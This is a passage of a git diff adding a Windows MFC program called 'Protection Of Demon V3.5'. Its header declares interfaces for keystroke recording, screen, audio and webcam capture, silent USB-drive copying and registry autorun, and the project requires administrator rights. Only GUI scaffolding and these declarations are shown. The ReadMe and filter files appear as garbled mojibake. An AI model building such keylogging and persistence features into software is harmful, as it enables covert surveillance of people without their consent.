+ ::GetModuleFileName(NULL, lpszCurrentPath, dwSize);
+ char *p = ::strrchr(lpszCurrentPath, '\\');
+ p[0] = '\0';
+}
+
+
+// 读取配置文件,加载界面皮肤
+void LoadSkin()
+{
+ // 读取配置文件,判断是否要加载皮肤
+ int iLoad = ::GetPrivateProfileInt("SKIN", "load", 0, CONFIGFILE);
+ if (0 != iLoad)
+ {
+ // 加载皮肤
+ // 获取当前目录
+ char szCurrentPath[MAX_PATH] = { 0 };
+ GetCurrentPath(szCurrentPath, MAX_PATH);
+ // 读取配置文件
+ char szSkinName[MAX_PATH] = { 0 };
+ ::GetPrivateProfileString("SKIN", "name", DEFAULT_SKIN, szSkinName, MAX_PATH, CONFIGFILE);
+ // 构造路径
+ ::lstrcat(szCurrentPath, "\\Skins\\");
+ ::lstrcat(szCurrentPath, szSkinName);
+ // 加载皮肤
+ ::skinppLoadSkin(szCurrentPath);
+ }
+}
diff --git a/ProtectionOfDemon/ProtectionOfDemon/MyGlobalData.h b/ProtectionOfDemon/ProtectionOfDemon/MyGlobalData.h
new file mode 100644
index 0000000..b8e378f
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/MyGlobalData.h
@@ -0,0 +1,133 @@
+#pragma once
+
+#include
+#include
+
+
+#define AUTORUNDLL "AutoRun.dll"
+#define KEYBOARDRECORDDLL "KeyboardRecord.dll"
+#define SCREENCAPTUREDLL "ScreenCapture.dll"
+#define SCREENRECORDDLL "ScreenRecord.dll"
+#define SOUNDRECORDDLL "SoundRecord.dll"
+#define UDISKRECORDDLL "UDiskRecord.dll"
+#define VIDEORECORDDLL "VideoRecord.dll"
+#define SHUTDOWNTIMERDLL "ShutdownTimer.dll"
+#define SCREENRECORDAVIDLL "ScreenRecordAvi.dll"
+
+// #define CONFIGFILE ".\\protectionofdemonconfig.ini"
+extern char *g_lpszConfigFileName;
+#define CONFIGFILE GetConfigFileName()
+#define CURRENT_VERSION "Protection Of Demon V3.5\nWorld Of Demon http://www.demondiy.com"
+#define DEFAULT_SKIN "Devoir.ssk"
+
+
+
+typedef struct _DOUBLESTRING
+{
+ CHAR lpszSrcName[256];
+ CHAR lpszDestName[256];
+}DOUBLESTRING, *PDOUBLESTRING;
+
+
+extern HMODULE g_AutoRunDll;
+
+extern HMODULE g_KeyboardRecordDll;
+extern HMODULE g_ScreenCaptureDll;
+extern HMODULE g_ScreenRecordDll;
+extern HMODULE g_SoundRecordDll;
+extern HMODULE g_UDiskRecordDll;
+extern HMODULE g_VideoRecordDll;
+extern HMODULE g_ShutdownTimerDll;
+extern HMODULE g_ScreenRecordAviDll;
+
+extern UINT g_uVideoRecordTime;
+extern UINT g_uSoundRecordTime;
+extern UINT g_uScreenRecordTime;
+
+// AutoRun.dll
+typedef BOOL(*typedef_EnableProcessPrivilege)();
+typedef BOOL(*typedef_SetRegisterAutoRun)(char *lpszValueName, char *lpszFileName, BOOL bCreate);
+// KeyboardRecord.dll
+typedef BOOL(*typedef_InitKeyboardRecord)();
+typedef BOOL(*typedef_ExitKeyboardRecord)();
+typedef void(*typedef_SetKeyboardRecord)(BOOL bKeyboardRecord);
+typedef void(*typedef_SetKeyboardRecordFileName)(char *lpszKeyboardRecordFileName);
+// ScreenCapture/dll
+typedef BOOL(*typedef_ScreenCaptureInit)();
+typedef void(*typedef_ScreenCaptureExit)();
+typedef void(*typedef_SetScreenCaptureHotKey)(UINT fsModifiers, UINT vk);
+// ScreenRecord.dll
+typedef void(*typedef_SetScreenRecordSaveDirectoryAndExt)(char *lpszScreenRecordSaveDirectory, char *lpszScreenRecordSaveFileExt);
+typedef void(*typedef_SetScreenRecordTimer)(UINT uElapse);
+typedef void(*typedef_SetScreenRecordPaintCursor)(BOOL bPaintCursor);
+// SoundRecord.dll
+typedef BOOL(*typedef_StartSoundRecord)(HWND hWnd);
+typedef void(*typedef_ExitSoundRecord)();
+typedef BOOL(*typedef_StopSoundRecord)(char *lpszFileName);
+typedef BOOL(*typedef_PlaySoundRecord)(BOOL bPlay);
+// typedef BOOL(*typedef_StopSoundRecord)();
+// typedef BOOL(*typedef_PlaySoundRecord)();
+typedef BOOL(*typedef_SaveSoundRecordByDlg)();
+typedef BOOL(*typedef_SaveSoundRecordByPath)(char *lpszFileName);
+// UDiskRecord.dll
+typedef BOOL(*typedef_InitUDiskRecord)();
+typedef BOOL(*typedef_ExitUDiskRecord)();
+typedef void(*typedef_SetUDiskRecord)(BOOL bUDiskRecord);
+typedef void(*typedef_SetUDiskSaveDirectory)(char *lpszUDiskSaveDirectory);
+typedef void(*typedef_SetUDiskRecordCopyType)(int iIndex, BOOL bCopy);
+// VideoRecord.dll
+typedef BOOL(*typedef_VideoRecordInit)(HWND hCtlWnd, UINT uiCtlID, BOOL bPreview, int iPreviewRate);
+typedef BOOL(*typedef_StartVideoRecord)(char *lpszSaveFileName, int iFlag);
+typedef BOOL(*typedef_StopVideoRecord)();
+typedef void(*typedef_VideoRecordDisplayDlg)();
+typedef void(*typedef_VideoRecordFormatDlg)();
+typedef BOOL(*typedef_VideoRecordFormat)(int iWidth, int iHeight, int iBitCount);
+typedef void(*typedef_VideoRecordSourceDlg)();
+typedef void(*typedef_VideoRecordCompressDlg)();
+typedef void(*typedef_VideoRecordSetFreeze)(BOOL bFreeze);
+typedef void(*typedef_VideoRecordCaptureFrame)(char *lpszFileName);
+typedef void(*typedef_ExitVideoRecord)();
+// ShutdownTimer.dll
+typedef void(*typedef_SetShutdownTimerShutdown)();
+typedef void(*typedef_SetShutdownTimerSignOut)();
+typedef void(*typedef_SetShutdownTimerLock)();
+typedef void(*typedef_SetShutdownTimer)(UINT uHour, UINT uMinute, UINT uSecond, UINT iType);
+typedef UINT(*typedef_GetShutdownTimerTimeLeft)();
+// ScreenRecordAvi.dll
+typedef BOOL(*typedef_ScreenRecordAvi_Start)(char *lpszFileName);
+typedef BOOL(*typedef_ScreenRecordAvi_Stop)();
+
+void ShowError(char *lpszText);
+void ShowCtrlInfo(HWND hParentWnd, UINT uCtrlID, char *lpszText);
+char* GetConfigFileName();
+
+/*
+注:以下CHotKeyCtrl情况的环境是ATL,不知MFC中是否如此,没有验证,需注意
+1. 某些情况下,不允许只输入一个不带fsModifiers只有VK键的情况下,可以使用
+ m_editHotkey.SetRules(HKCOMB_NONE, HOTKEYF_CONTROL | HOTKEYF_ALT); //关键是HKCOMB_NONE参数
+2. CHotKeyCtrl::SetHotKey和GetHotKey中的wModifiers和RegisterHotKey中的fsModifiers不同:
+a.从CHotKeyCtrl控件得到的Alt和Shift分别是HOTKEYF_ALT和HOTKEYF_SHIFT,而RegisterHotKey中的
+ Alt和Shift则为MOD_ALT和MOD_SHIFT,所以GetHotKey之后,若要注册则需要进行转换
+*/
+WORD Modifiers_HKCtrl_to_RegisterHK(WORD wSource);
+// b. SetHotKey时,也需要调用相关的转换函数
+WORD Modifiers_RegisterHK_to_HKCtrl(WORD wSource);
+
+
+/*
+ 1. 获取当前程序的路径目录
+ 2. 判断系统的版本:WinXP、Win7、Win8、Win8.1、Win10
+ 3. 判断系统是32位还是64位
+ 4. 根据不同的系统版本与不同位数,加载不同的驱动
+*/
+// 获取程序的当前目录
+void GetCurrentPath(char *lpszCurrentPath);
+
+// 获取当前目录
+void GetCurrentPath(char *lpszCurrentPath, DWORD dwSize);
+// 读取配置文件,加载界面皮肤
+void LoadSkin();
+
+
+
+
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.aps b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.aps
new file mode 100644
index 0000000..36d7408
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.aps differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.cpp b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.cpp
new file mode 100644
index 0000000..398d451
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.cpp
@@ -0,0 +1,111 @@
+
+// ProtectionOfDemon.cpp : 定义应用程序的类行为。
+//
+
+#include "stdafx.h"
+#include "ProtectionOfDemon.h"
+#include "ProtectionOfDemonDlg.h"
+
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#endif
+
+
+// CProtectionOfDemonApp
+
+BEGIN_MESSAGE_MAP(CProtectionOfDemonApp, CWinApp)
+ ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
+END_MESSAGE_MAP()
+
+
+// CProtectionOfDemonApp 构造
+
+CProtectionOfDemonApp::CProtectionOfDemonApp()
+{
+ // 支持重新启动管理器
+ m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
+
+ // TODO: 在此处添加构造代码,
+ // 将所有重要的初始化放置在 InitInstance 中
+}
+
+
+// 唯一的一个 CProtectionOfDemonApp 对象
+
+CProtectionOfDemonApp theApp;
+
+
+// CProtectionOfDemonApp 初始化
+
+BOOL CProtectionOfDemonApp::InitInstance()
+{
+ // 初始化皮肤
+ LoadSkin();
+
+ // 如果一个运行在 Windows XP 上的应用程序清单指定要
+ // 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式,
+ //则需要 InitCommonControlsEx()。 否则,将无法创建窗口。
+ INITCOMMONCONTROLSEX InitCtrls;
+ InitCtrls.dwSize = sizeof(InitCtrls);
+ // 将它设置为包括所有要在应用程序中使用的
+ // 公共控件类。
+ InitCtrls.dwICC = ICC_WIN95_CLASSES;
+ InitCommonControlsEx(&InitCtrls);
+
+ CWinApp::InitInstance();
+
+ if (!AfxSocketInit())
+ {
+ AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
+ return FALSE;
+ }
+
+ AfxEnableControlContainer();
+
+ // 创建 shell 管理器,以防对话框包含
+ // 任何 shell 树视图控件或 shell 列表视图控件。
+ CShellManager *pShellManager = new CShellManager;
+
+ // 激活“Windows Native”视觉管理器,以便在 MFC 控件中启用主题
+ CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));
+
+ // 标准初始化
+ // 如果未使用这些功能并希望减小
+ // 最终可执行文件的大小,则应移除下列
+ // 不需要的特定初始化例程
+ // 更改用于存储设置的注册表项
+ // TODO: 应适当修改该字符串,
+ // 例如修改为公司或组织名
+ SetRegistryKey(_T("应用程序向导生成的本地应用程序"));
+
+ CProtectionOfDemonDlg dlg;
+ m_pMainWnd = &dlg;
+ INT_PTR nResponse = dlg.DoModal();
+ if (nResponse == IDOK)
+ {
+ // TODO: 在此放置处理何时用
+ // “确定”来关闭对话框的代码
+ }
+ else if (nResponse == IDCANCEL)
+ {
+ // TODO: 在此放置处理何时用
+ // “取消”来关闭对话框的代码
+ }
+ else if (nResponse == -1)
+ {
+ TRACE(traceAppMsg, 0, "警告: 对话框创建失败,应用程序将意外终止。\n");
+ TRACE(traceAppMsg, 0, "警告: 如果您在对话框上使用 MFC 控件,则无法 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n");
+ }
+
+ // 删除上面创建的 shell 管理器。
+ if (pShellManager != NULL)
+ {
+ delete pShellManager;
+ }
+
+ // 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序,
+ // 而不是启动应用程序的消息泵。
+ return FALSE;
+}
+
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.h b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.h
new file mode 100644
index 0000000..8c5516d
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.h
@@ -0,0 +1,33 @@
+
+// ProtectionOfDemon.h : PROJECT_NAME 应用程序的主头文件
+//
+
+#pragma once
+
+#ifndef __AFXWIN_H__
+ #error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件"
+#endif
+
+#include "resource.h" // 主符号
+#include "MyGlobalData.h"
+
+
+// CProtectionOfDemonApp:
+// 有关此类的实现,请参阅 ProtectionOfDemon.cpp
+//
+
+class CProtectionOfDemonApp : public CWinApp
+{
+public:
+ CProtectionOfDemonApp();
+
+// 重写
+public:
+ virtual BOOL InitInstance();
+
+// 实现
+
+ DECLARE_MESSAGE_MAP()
+};
+
+extern CProtectionOfDemonApp theApp;
\ No newline at end of file
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.rc b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.rc
new file mode 100644
index 0000000..f2bca44
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.rc differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.vcxproj b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.vcxproj
new file mode 100644
index 0000000..c9305cf
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.vcxproj
@@ -0,0 +1,146 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}
+ ProtectionOfDemon
+ MFCProj
+
+
+
+ Application
+ true
+ v120
+ MultiByte
+ Dynamic
+
+
+ Application
+ false
+ v120_xp
+ true
+ MultiByte
+ Dynamic
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ RequireAdministrator
+
+
+ false
+ true
+ _DEBUG;%(PreprocessorDefinitions)
+
+
+ 0x0804
+ _DEBUG;%(PreprocessorDefinitions)
+ $(IntDir);%(AdditionalIncludeDirectories)
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ RequireAdministrator
+
+
+ false
+ true
+ NDEBUG;%(PreprocessorDefinitions)
+
+
+ 0x0804
+ NDEBUG;%(PreprocessorDefinitions)
+ $(IntDir);%(AdditionalIncludeDirectories)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.vcxproj.filters b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.vcxproj.filters
new file mode 100644
index 0000000..6b44a68
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemon.vcxproj.filters
@@ -0,0 +1,90 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+ 璧勬簮鏂囦欢
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemonDlg.cpp b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemonDlg.cpp
new file mode 100644
index 0000000..3d638d0
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemonDlg.cpp
@@ -0,0 +1,331 @@
+
+// ProtectionOfDemonDlg.cpp : 实现文件
+//
+
+#include "stdafx.h"
+#include "ProtectionOfDemon.h"
+#include "ProtectionOfDemonDlg.h"
+#include "afxdialogex.h"
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#endif
+
+
+// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
+
+class CAboutDlg : public CDialogEx
+{
+public:
+ CAboutDlg();
+
+// 对话框数据
+ enum { IDD = IDD_ABOUTBOX };
+
+ protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
+
+// 实现
+protected:
+ DECLARE_MESSAGE_MAP()
+};
+
+CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
+{
+}
+
+void CAboutDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialogEx::DoDataExchange(pDX);
+}
+
+BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
+END_MESSAGE_MAP()
+
+void CProtectionOfDemonDlg::OnHelpAbout()
+{
+ // TODO: 在此添加命令处理程序代码
+ CAboutDlg dlg;
+ dlg.DoModal();
+}
+// CProtectionOfDemonDlg 对话框
+
+
+
+CProtectionOfDemonDlg::CProtectionOfDemonDlg(CWnd* pParent /*=NULL*/)
+ : CDialogEx(CProtectionOfDemonDlg::IDD, pParent)
+{
+ m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
+}
+
+void CProtectionOfDemonDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialogEx::DoDataExchange(pDX);
+ DDX_Control(pDX, IDC_TAB_MAIN, m_MainTab);
+}
+
+BEGIN_MESSAGE_MAP(CProtectionOfDemonDlg, CDialogEx)
+ ON_WM_SYSCOMMAND()
+ ON_WM_PAINT()
+ ON_WM_QUERYDRAGICON()
+ ON_COMMAND(ID_HELP_ABOUT, &CProtectionOfDemonDlg::OnHelpAbout)
+ ON_NOTIFY(TCN_SELCHANGE, IDC_TAB_MAIN, &CProtectionOfDemonDlg::OnTcnSelchangeTabMain)
+ ON_WM_TIMER()
+ ON_COMMAND(IDOK, &CProtectionOfDemonDlg::OnIdok)
+ ON_COMMAND(ID_SETTING_SKIN, &CProtectionOfDemonDlg::OnSettingSkin)
+END_MESSAGE_MAP()
+
+
+// CProtectionOfDemonDlg 消息处理程序
+
+BOOL CProtectionOfDemonDlg::OnInitDialog()
+{
+ CDialogEx::OnInitDialog();
+
+ // 将“关于...”菜单项添加到系统菜单中。
+
+ // IDM_ABOUTBOX 必须在系统命令范围内。
+ ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
+ ASSERT(IDM_ABOUTBOX < 0xF000);
+
+ CMenu* pSysMenu = GetSystemMenu(FALSE);
+ if (pSysMenu != NULL)
+ {
+ BOOL bNameValid;
+ CString strAboutMenu;
+ bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
+ ASSERT(bNameValid);
+ if (!strAboutMenu.IsEmpty())
+ {
+ pSysMenu->AppendMenu(MF_SEPARATOR);
+ pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
+ }
+ }
+
+ // 设置此对话框的图标。 当应用程序主窗口不是对话框时,框架将自动
+ // 执行此操作
+ SetIcon(m_hIcon, TRUE); // 设置大图标
+ SetIcon(m_hIcon, FALSE); // 设置小图标
+
+ // TODO: 在此添加额外的初始化代码
+ InitTabCtrl();
+ InitStatusBarCtrl();
+// ::MessageBox(NULL, "ProtectionDlg", NULL, MB_OK);
+ return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
+}
+
+void CProtectionOfDemonDlg::OnSysCommand(UINT nID, LPARAM lParam)
+{
+ if ((nID & 0xFFF0) == IDM_ABOUTBOX)
+ {
+ CAboutDlg dlgAbout;
+ dlgAbout.DoModal();
+ }
+ else
+ {
+ CDialogEx::OnSysCommand(nID, lParam);
+ }
+}
+
+// 如果向对话框添加最小化按钮,则需要下面的代码
+// 来绘制该图标。 对于使用文档/视图模型的 MFC 应用程序,
+// 这将由框架自动完成。
+
+void CProtectionOfDemonDlg::OnPaint()
+{
+ if (IsIconic())
+ {
+ CPaintDC dc(this); // 用于绘制的设备上下文
+
+ SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0);
+
+ // 使图标在工作区矩形中居中
+ int cxIcon = GetSystemMetrics(SM_CXICON);
+ int cyIcon = GetSystemMetrics(SM_CYICON);
+ CRect rect;
+ GetClientRect(&rect);
+ int x = (rect.Width() - cxIcon + 1) / 2;
+ int y = (rect.Height() - cyIcon + 1) / 2;
+
+ // 绘制图标
+ dc.DrawIcon(x, y, m_hIcon);
+ }
+ else
+ {
+ CDialogEx::OnPaint();
+ }
+}
+
+//当用户拖动最小化窗口时系统调用此函数取得光标
+//显示。
+HCURSOR CProtectionOfDemonDlg::OnQueryDragIcon()
+{
+ return static_cast(m_hIcon);
+}
+
+
+void CProtectionOfDemonDlg::OnIdok()
+{
+ // TODO: 在此添加命令处理程序代码
+}
+
+
+void CProtectionOfDemonDlg::InitTabCtrl()
+{
+ // 插入3个标签
+ m_MainTab.InsertItem(0, " Record ");
+ m_MainTab.InsertItem(1, " Video ");
+ // 创建3个对话框
+ m_RecordDlg.Create(IDD_DIALOG_RECORD, GetDlgItem(IDC_TAB_MAIN));
+ m_VideoDlg.Create(IDD_DIALOG_VIDEO, GetDlgItem(IDC_TAB_MAIN));
+ // 获取IDC_TAB客户区的大小
+ CRect rc;
+ m_MainTab.GetClientRect(&rc);
+ // 调整子对话框在父对话框中的位置
+ rc.top += 20;
+ rc.bottom -= 1;
+ rc.left += 1;
+ rc.right -= 1;
+ // 移动子对话框到指定位置
+ m_RecordDlg.MoveWindow(&rc);
+ m_VideoDlg.MoveWindow(&rc);
+ // 分别设置隐藏和显示
+ m_RecordDlg.ShowWindow(SW_SHOW);
+ m_VideoDlg.ShowWindow(SW_HIDE);
+ // 设置默认的选项卡
+ m_MainTab.SetCurSel(0);
+}
+
+
+void CProtectionOfDemonDlg::InitStatusBarCtrl()
+{
+ m_StatusBar.Create(WS_CHILD | WS_VISIBLE | SBT_OWNERDRAW, CRect(0, 0, 0, 0),
+ this, 0);
+ // 分栏
+ int iPartWidth[3] = { 300, 600, -1 };
+ m_StatusBar.SetParts(3, iPartWidth);
+ // 为分栏写入文字
+ SetStatusBarText();
+
+ ::SetTimer(m_hWnd, 1, 1000, NULL);
+ // 为分栏加入图标
+// m_StatusBar.SetIcon(1, ::LoadIcon(::GetModuleHandle(NULL), MAKEINTRESOURCE(IDR_MAINFRAME)));
+}
+
+
+void CProtectionOfDemonDlg::OnTcnSelchangeTabMain(NMHDR *pNMHDR, LRESULT *pResult)
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 更新状态栏文字
+ SetStatusBarText();
+
+ m_RecordDlg.ShowWindow(SW_HIDE);
+ m_VideoDlg.ShowWindow(SW_HIDE);
+
+ int iCurSel = m_MainTab.GetCurSel();
+ switch (iCurSel)
+ {
+ case 0:
+ {
+ m_RecordDlg.ShowWindow(SW_SHOW);
+ break;
+ }
+ case 1:
+ {
+ m_VideoDlg.ShowWindow(SW_SHOW);
+ break;
+ }
+ default:
+ break;
+ }
+
+ *pResult = 0;
+}
+
+
+void CProtectionOfDemonDlg::GetCurrentSystemTime(char *lpszCurrentTime)
+{
+ SYSTEMTIME stSystmTime = { 0 };
+ ::GetLocalTime(&stSystmTime);
+
+ switch (stSystmTime.wDayOfWeek)
+ {
+ case 0:
+ {
+ ::lstrcpy(lpszCurrentTime, "Sunday ");
+ break;
+ }
+ case 1:
+ {
+ ::lstrcpy(lpszCurrentTime, "Monday ");
+ break;
+ }
+ case 2:
+ {
+ ::lstrcpy(lpszCurrentTime, "Tuesday ");
+ break;
+ }
+ case 3:
+ {
+ ::lstrcpy(lpszCurrentTime, "Wednesday ");
+ break;
+ }
+ case 4:
+ {
+ ::lstrcpy(lpszCurrentTime, "Thursday ");
+ break;
+ }
+ case 5:
+ {
+ ::lstrcpy(lpszCurrentTime, "FriDay ");
+ break;
+ }
+ case 6:
+ {
+ ::lstrcpy(lpszCurrentTime, "Saturday ");
+ break;
+ }
+ default:
+ break;
+ }
+
+ ::wsprintf(lpszCurrentTime, "%s%.4d-%.2d-%.2d %.2d:%.2d:%.2d", lpszCurrentTime,
+ stSystmTime.wYear, stSystmTime.wMonth, stSystmTime.wDay,
+ stSystmTime.wHour, stSystmTime.wMinute, stSystmTime.wSecond);
+
+}
+
+
+void CProtectionOfDemonDlg::SetStatusBarText()
+{
+ m_StatusBar.SetText(" Protection Of Demon V3.5", 0, 0);
+ char szCurrentTime[MAX_PATH] = { 0 };
+ GetCurrentSystemTime(szCurrentTime);
+ m_StatusBar.SetText(szCurrentTime, 1, 0);
+ m_StatusBar.SetText("Welcome", 2, 0);
+}
+
+
+void CProtectionOfDemonDlg::OnTimer(UINT_PTR nIDEvent)
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ switch (nIDEvent)
+ {
+ case 1:
+ {
+ SetStatusBarText();
+ break;
+ }
+ default:
+ break;
+ }
+ CDialogEx::OnTimer(nIDEvent);
+}
+
+
+void CProtectionOfDemonDlg::OnSettingSkin()
+{
+ // TODO: 在此添加命令处理程序代码
+ CSkinSettingDlg dlg;
+ dlg.DoModal();
+}
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemonDlg.h b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemonDlg.h
new file mode 100644
index 0000000..8adadcb
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/ProtectionOfDemonDlg.h
@@ -0,0 +1,56 @@
+
+// ProtectionOfDemonDlg.h : 头文件
+//
+
+#pragma once
+#include "afxcmn.h"
+
+#include "RecordDlg.h"
+#include "VideoDlg.h"
+#include "SkinSettingDlg.h"
+
+// CProtectionOfDemonDlg 对话框
+class CProtectionOfDemonDlg : public CDialogEx
+{
+private:
+ CRecordDlg m_RecordDlg;
+ CVideoDlg m_VideoDlg;
+ CStatusBarCtrl m_StatusBar;
+
+ BOOL m_bScreenCapture;
+public:
+ void InitTabCtrl();
+ void InitStatusBarCtrl();
+ void GetCurrentSystemTime(char *lpszCurrentTime);
+ void SetStatusBarText();
+
+
+// 构造
+public:
+ CProtectionOfDemonDlg(CWnd* pParent = NULL); // 标准构造函数
+
+// 对话框数据
+ enum { IDD = IDD_PROTECTIONOFDEMON_DIALOG };
+
+ protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
+
+
+// 实现
+protected:
+ HICON m_hIcon;
+
+ // 生成的消息映射函数
+ virtual BOOL OnInitDialog();
+ afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
+ afx_msg void OnPaint();
+ afx_msg HCURSOR OnQueryDragIcon();
+ DECLARE_MESSAGE_MAP()
+public:
+ afx_msg void OnHelpAbout();
+ CTabCtrl m_MainTab;
+ afx_msg void OnTcnSelchangeTabMain(NMHDR *pNMHDR, LRESULT *pResult);
+ afx_msg void OnTimer(UINT_PTR nIDEvent);
+ afx_msg void OnIdok();
+ afx_msg void OnSettingSkin();
+};
diff --git a/ProtectionOfDemon/ProtectionOfDemon/ReadMe.txt b/ProtectionOfDemon/ProtectionOfDemon/ReadMe.txt
new file mode 100644
index 0000000..18479ed
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/ReadMe.txt
@@ -0,0 +1,70 @@
+锘================================================================================
+ MICROSOFT 鍩虹绫诲簱 : ProtectionOfDemon 椤圭洰姒傝堪
+===============================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 ProtectionOfDemon 搴旂敤绋嬪簭銆傛搴旂敤绋嬪簭涓嶄粎婕旂ず Microsoft 鍩虹绫荤殑鍩烘湰浣跨敤鏂规硶锛岃繕鍙綔涓烘偍缂栧啓搴旂敤绋嬪簭鐨勮捣鐐广
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 ProtectionOfDemon 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+ProtectionOfDemon.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+ProtectionOfDemon.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+ProtectionOfDemon.h
+ 杩欐槸搴旂敤绋嬪簭鐨勪富澶存枃浠躲
